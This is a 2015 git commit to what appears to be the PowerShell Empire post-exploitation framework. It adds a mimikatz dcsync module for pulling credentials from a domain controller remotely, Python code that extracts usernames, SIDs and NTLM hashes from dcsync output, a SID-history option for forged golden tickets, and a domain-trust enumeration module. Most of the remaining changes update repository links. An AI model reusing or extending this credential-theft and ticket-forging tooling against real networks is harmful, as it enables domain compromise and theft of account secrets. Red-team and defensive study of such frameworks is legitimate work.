Added credentials/mimikatz/dcsync for remote DC credential extraction

Added situational_awareness/network/get_domaintrusts
Added /sids argument for credentials/mimikatz/golden_ticket
Added credential parsing for dcsync output
updated links for PowerTools
1.6
Harmj0y 2015-08-24 17:33:35 -04:00
parent cf935db0ae
commit b2cca2f3fd
23 changed files with 160 additions and 40 deletions

View File

@ -1,3 +1,11 @@
8/24/2015
---------
-Added credentials/mimikatz/dcsync for remote DC credential extraction
-Added situational_awareness/network/get_domaintrusts
-Added /sids argument for credentials/mimikatz/golden_ticket
-Added credential parsing for dcsync output
-updated links for PowerTools
8/20/2015
---------
-Continued porting native shell commands to WMI replacents in agent core

View File

@ -271,6 +271,7 @@ def parse_mimikatz(data):
if not (credType == "plaintext" and username.endswith("$")):
creds.append((credType, domain, username, password, hostName, sid))
if len(creds) == 0:
# check if we have lsadump output to check for krbtgt
# happens on domain controller hashdumps
for x in xrange(8,13):
@ -298,6 +299,29 @@ def parse_mimikatz(data):
except Exception as e:
pass
if len(creds) == 0:
# check if we get lsadump::dcsync output
if '** SAM ACCOUNT **' in lines:
domain, user, userHash, dcName, sid = "", "", "", "", ""
for line in lines:
try:
if line.strip().endswith("will be the domain"):
domain = line.split("'")[1]
elif line.strip().endswith("will be the DC server"):
dcName = line.split("'")[1].split(".")[0]
elif line.strip().startswith("SAM Username"):
user = line.split(":")[1].strip()
elif line.strip().startswith("Object Security ID"):
parts = line.split(":")[1].strip().split("-")
sid = "-".join(parts[0:-1])
elif line.strip().startswith("Hash NTLM:"):
userHash = line.split(":")[1].strip()
except:
pass
if domain != "" and userHash != "":
creds.append(("hash", domain, user, userHash, dcName, sid))
return uniquify_tuples(creds)

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/blob/master/PowerView/powerview.ps1'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/blob/master/PowerView/powerview.ps1'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -19,7 +19,7 @@ class Module:
'OutputExtension' : None,
'NeedsAdmin' : True,
'NeedsAdmin' : False,
'OpsecSafe' : True,

View File

@ -58,6 +58,11 @@ class Module:
'Required' : False,
'Value' : ''
},
'sids' : {
'Description' : 'External SIDs to add as sidhistory to the ticket.',
'Required' : False,
'Value' : ''
},
'id' : {
'Description' : 'id to impersonate, defaults to 500.',
'Required' : False,

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

View File

@ -25,7 +25,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -0,0 +1,83 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetDomainTrusts',
'Author': ['@harmj0y'],
'Description': ('Return all domain trusts for the current domain or '
'a specified domain. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'Specific domain to query for trusts, defaults to current.',
'Required' : False,
'Value' : ''
},
'LDAP' : {
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
if self.options['LDAP']['Value'].lower() == "true":
script += "Get-NetDomainTrustsLDAP | Out-String | %{$_ + \"`n\"};"
else:
script += "Get-NetDomainTrusts | Out-String | %{$_ + \"`n\"};"
return script

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView',
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView',
'https://github.com/mubix/netview'
]
}

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -24,7 +24,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}